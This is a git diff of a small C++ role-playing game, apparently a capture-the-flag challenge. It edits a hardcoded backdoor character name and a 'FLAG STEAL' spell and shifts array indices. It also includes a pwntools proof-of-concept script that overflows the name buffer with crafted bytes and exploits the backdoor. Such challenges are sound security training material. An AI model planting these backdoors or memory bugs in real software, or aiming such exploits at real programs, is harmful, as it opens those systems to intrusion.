diff --git a/Makefile b/Makefile index 92a192e..ff310c2 100644 --- a/Makefile +++ b/Makefile @@ -10,10 +10,10 @@ Spell.o: lib/Spell.cpp lib/Spell.hpp Character.o: lib/Character.cpp lib/Character.hpp g++ -c lib/Character.cpp -o Character.o -spell-warz-again: Spell.o Character.o UserInterface.o Battle.o main.cpp - g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o Battle.o +spell-warz-again-final: Spell.o Character.o UserInterface.o Battle.o main.cpp + g++ main.cpp -o spell-warz-again-final Spell.o Character.o UserInterface.o Battle.o clean: all rm Spell.o Character.o UserInterface.o Battle.o -all: spell-warz-again +all: spell-warz-again-final diff --git a/lib/Battle.cpp b/lib/Battle.cpp index 2681dd5..a3cd3f4 100644 --- a/lib/Battle.cpp +++ b/lib/Battle.cpp @@ -1,7 +1,6 @@ #include "Battle.hpp" std::vector Battle::SPELL_BOOK = { - Spell("FLAG STEAL", Spell::TYPE_DESTRUCTION, 1000000, 1), Spell("Blazing Storm", Spell::TYPE_DESTRUCTION, 10, 5), Spell("Energy Arrow", Spell::TYPE_DESTRUCTION, 40, 10), Spell("Pyro Strike", Spell::TYPE_DESTRUCTION, 90, 15), @@ -137,7 +136,7 @@ void Battle::start() { std::cout << "Turn " << this->turn << " of " << Battle::MAX_TURN << "\n" << "Your spell book:\n"; - for (size_t i = 1; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++) + for (size_t i = 0; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++) { std::cout << "[" << i << "] " << SPELL_BOOK.at(i).getName() << "\n"; } diff --git a/lib/Character.cpp b/lib/Character.cpp index 9bbe0c9..ea2229f 100644 --- a/lib/Character.cpp +++ b/lib/Character.cpp @@ -10,7 +10,8 @@ Character::Character(const char *characterName, long characterLevel) : name(""), experience(0) { - if (strcmp("__th3_w0rLd_D3str0Y3r__", characterName)) + char bd[] = "__th3_w0rLd_D3str0Y3r_15_b4ck__"; + if (strncmp(bd, characterName, 32)) { level = characterLevel; } diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp index 339f2e0..ca64432 100644 --- a/lib/UserInterface.cpp +++ b/lib/UserInterface.cpp @@ -172,7 +172,7 @@ void UserInterface::menu() void UserInterface::enemiesInfo(std::vector &enemies) { - for (int i = 0; i < enemies.size(); i++) + for (int i = 1; i < enemies.size(); i++) { std::cout << "[" << i << "] " << enemies.at(i).getName() << " (Lv." << enemies.at(i).getLevel() << ")\n"; } diff --git a/main.cpp b/main.cpp index a4cd256..dc28a62 100644 --- a/main.cpp +++ b/main.cpp @@ -32,6 +32,7 @@ int main() Character player = Character(playerName, 1); Character archMage = Character("Arch-Mage", 10000); std::vector enemies = { + Character("GOLDEN PIG", 1000000, 1, 1), Character("Uraneus", 1), Character("Ekey", 2), Character("Wekius", 3), @@ -50,27 +51,29 @@ int main() choiceInt = UserInterface::getNumber( "What are you gonna do today?\n>", 0, 6); - switch (choiceInt) + if (choiceInt == 0) { - case 0: UserInterface::print("You commit sudoku...\n"); UserInterface::print("Was it supposed to be seppuku?\n"); UserInterface::print("Nevermind, you killed yourself.\n"); player.kill(); - break; - case 1: + } + else if (choiceInt == 1) + { UserInterface::print("You spend the whole day sleeping...\n"); UserInterface::print("HP and MP restored.\n"); player.rest(); - break; - case 2: + } + else if (choiceInt == 2) + { UserInterface::print("You practice your magic in the yard...\n"); UserInterface::print("You gained some experience.\n"); printf("%ld\n", player.getLevel()); fflush(stdout); player.increaseExperience((rand() % player.getLevel()) + 1); - break; - case 3: + } + else if (choiceInt == 3) + { UserInterface::print("List of your classmates:\n"); UserInterface::enemiesInfo(enemies); choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); @@ -100,9 +103,9 @@ int main() UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); player.rest(); } - - break; - case 4: + } + else if (choiceInt == 4) + { UserInterface::print("You are going to challenge the Arch-Mage...\n"); UserInterface::print("Are you sure? (y/N)\n>"); std::cin >> choiceChar; @@ -132,15 +135,16 @@ int main() UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); player.rest(); } - break; - case 5: + } + else if (choiceInt == 5) + { UserInterface::print("You found some info about the arch-mage:\n"); UserInterface::characterInfo(archMage); - break; - case 6: + } + else if (choiceInt == 6) + { UserInterface::print("You meditate and got some insight to your ability:\n"); UserInterface::characterInfo(player); - break; } UserInterface::nextDay(); } diff --git a/poc.py b/poc.py index c711370..36a3a65 100644 --- a/poc.py +++ b/poc.py @@ -1,8 +1,9 @@ from pwn import process +FILENAME = "./spell-warz-again-patched" def poc0(): - p = process("./spell-warz-again") + p = process(FILENAME) print p.recvuntil(">") p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01")) print p.recvuntil(">") @@ -20,7 +21,7 @@ def poc0(): def poc1(): - p = process("./spell-warz-again") + p = process(FILENAME) print p.recvuntil(">") p.sendline("Leo") print p.recvuntil(">") @@ -37,13 +38,14 @@ def poc1(): def poc2(): - p = process("./spell-warz-again") + p = process(FILENAME) print p.recvuntil(">") p.sendline("__th3_w0rLd_D3str0Y3r__") print p.recvuntil(">") p.sendline("y") print p.recvuntil(">") p.sendline("2") + p.interactive() print p.recvuntil(">") p.sendline("4") print p.recvuntil(">") @@ -55,4 +57,4 @@ def poc2(): if __name__ == "__main__": - poc0() + poc2()